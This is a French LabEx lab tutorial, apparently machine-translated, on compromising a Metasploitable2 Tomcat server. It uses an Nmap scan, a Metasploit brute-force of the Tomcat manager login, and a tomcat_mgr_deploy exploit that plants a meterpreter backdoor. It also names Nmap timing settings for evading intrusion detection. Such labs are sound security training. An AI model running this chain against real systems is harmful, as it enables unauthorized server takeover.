Exploiter les vulnérabilités de Tomcat avec Nmap sous Kali Linux

NmapNmapBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, vous apprendrez les principes de l'exploitation des vulnérabilités de Tomcat et le processus d'attaque contre celles-ci. Au cours du processus d'attaque, vous apprendrez à utiliser Kali Linux et comprendrez le framework d'attaque Metasploit Framework (MSF) dans Kali. La machine cible à pénétrer dans ce laboratoire est Metasploitable2, basée sur l'environnement Kali fourni par LabEx.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/timing_performance("Timing and Performance") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416130{{"Exploiter les vulnérabilités de Tomcat avec Nmap sous Kali Linux"}} nmap/port_scanning -.-> lab-416130{{"Exploiter les vulnérabilités de Tomcat avec Nmap sous Kali Linux"}} nmap/target_specification -.-> lab-416130{{"Exploiter les vulnérabilités de Tomcat avec Nmap sous Kali Linux"}} nmap/timing_performance -.-> lab-416130{{"Exploiter les vulnérabilités de Tomcat avec Nmap sous Kali Linux"}} nmap/service_detection -.-> lab-416130{{"Exploiter les vulnérabilités de Tomcat avec Nmap sous Kali Linux"}} end

Scanner la machine cible pour les vulnérabilités réseau

Dans un test de pénétration typique, nous devons attaquer davantage la machine cible. La première chose à faire est de réaliser un scan de pénétration sur la machine cible. Au cours du processus de scan, nous pouvons découvrir les services fournis par la machine, puis déterminer s'il existe des vulnérabilités en fonction des informations disponibles. Ensuite, nous tentons de pénétrer les vulnérabilités potentielles et, finalement, de compromettre la machine cible pour en obtenir les vulnérabilités.

  1. Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la machine cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2

Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.

  1. Testez la connectivité à la machine cible en effectuant un ping :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

  1. Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
  1. À l'intérieur du conteneur Kali, testez la connexion réseau à la machine cible :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

Maintenant, la machine d'attaque et la machine cible sont toutes deux en fonctionnement, et vous pouvez commencer le test de pénétration.

  1. Ensuite, nous démarrons msfconsole et entrons dans l'interface d'opération :
cd ~
msfconsole
  1. Dans la phase de scan, Nmap est un outil de scan très utile. Au cours du processus de scan de vulnérabilités, nous pouvons analyser et tenter les vulnérabilités potentielles grâce à l'analyse. Ici, nous effectuons un scan de pénétration sur la machine cible en utilisant la commande suivante :
nmap -sV -T5 target

Dans la commande ci-dessus, -T définit la vitesse de scan :

Paramètre Signification
nmap T0 Scan extrêmement lent, utilisé pour échapper aux systèmes de détection d'intrusion (IDS - Intrusion Detection System)
nmap T1 Scan lent, vitesse comprise entre 0 et 2, peut également échapper à certains IDS
nmap T2 Vitesse de scan réduite, généralement non utilisée
nmap T3 Vitesse de scan par défaut
nmap T4 Peut inonder la cible, susceptible de déclencher le pare-feu
nmap T5 Vitesse de scan folle, sacrifiant la précision pour la vitesse

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Forcer la dérivation du mot de passe Tomcat

Dans cette étape, nous allons commencer à exploiter la vulnérabilité de Tomcat. Nous utiliserons le module auxiliary/scanner/http/tomcat_mgr_login, qui tente de se connecter au gestionnaire Tomcat en utilisant un ensemble de noms d'utilisateur et de mots de passe spécifiques. Si la connexion réussit, il affiche le résultat.

Le code du module d'attaque :

À partir des résultats du scan, nous pouvons voir que le port 8180 est ouvert. Essayons d'attaquer ce port. Tout d'abord, dans le terminal MSF, recherchons le module Tomcat pour voir s'il existe un module de vulnérabilité correspondant :

  1. Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devriez démarrer la console Metasploit :
cd ~
msfconsole
  1. Utilisez la commande search pour trouver le module approprié :
search tomcat
  1. Utilisez la commande use pour sélectionner le module approprié :
use auxiliary/scanner/http/tomcat_mgr_login
  1. Affichez les paramètres qui doivent être configurés :
show options
  1. Ensuite, vérifiez les paramètres nécessaires à configurer et utilisez la commande set pour configurer les paramètres :
set RHOSTS 192.168.122.102
  1. Configurez les informations de port :
set RPORT 8180
  1. Ensuite, utilisez la commande pour attaquer et forcer la dérivation du mot de passe :
exploit

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Utiliser le mot de passe Tomcat pour la pénétration

Après avoir obtenu le mot de passe Tomcat à partir du module correspondant, nous allons utiliser ce mot de passe pour pénétrer la machine cible. Nous utiliserons le module exploit/multi/http/tomcat_mgr_deploy, qui se connecte au gestionnaire Tomcat et exécute une charge utile (payload). Cette charge utile télécharge un package WAR en utilisant l'opération PUT, et ce package WAR contient un fichier JSP qui fournit un shell de backdoor meterpreter.

Le code du module d'attaque :

  1. Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devriez démarrer la console Metasploit :
cd ~
msfconsole
  1. Recherchez le module approprié :
search tomcat
  1. Ensuite, sélectionnez le module d'attaque approprié :
use exploit/multi/http/tomcat_mgr_deploy
  1. Utilisez la commande show pour afficher les paramètres nécessaires :
show options
  1. Configurez l'adresse de l'hôte cible et le port à attaquer :
set rhost 192.168.122.102
  1. Configurez les informations de port :
set rport 8180
  1. Configurez le nom de compte httpusername :
set httpusername tomcat
  1. Configurez le mot de passe httppassword :
set httppassword tomcat
  1. Ensuite, effectuez l'attaque (cela peut prendre environ une minute) :
exploit
  1. Très bien, nous avons maintenant pénétré la machine cible. Ensuite, nous allons vérifier la réussite de la pénétration. Dans le terminal de ligne de commande où l'attaque a réussi, entrez la commande :
sysinfo

N'entrez pas whoami, car cela causera une erreur car la charge utile meterpreter utilisée ici ne prend pas en charge les commandes telles que hostname, id, whoami, etc. Vous pouvez utiliser la commande help pour voir les commandes qu'elle prend en charge :

Comme indiqué ci-dessous, il affiche les informations sur le système d'exploitation :

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Résumé

Dans ce laboratoire, vous avez appris les principes de la vulnérabilité de Tomcat et le processus d'attaque contre celle-ci. Généralement, avant un test de pénétration, nous devons collecter des informations sur la machine cible. Au cours du processus de collecte d'informations, nous pouvons mieux découvrir les vulnérabilités et compromettre la machine cible. Après avoir terminé ce laboratoire, vous devriez avoir maîtrisé les points de connaissances suivants :

  • Principes de la vulnérabilité de Tomcat
  • Utilisation du scan Nmap
  • Processus d'attaque MSF
  • Vérification des attaques réussies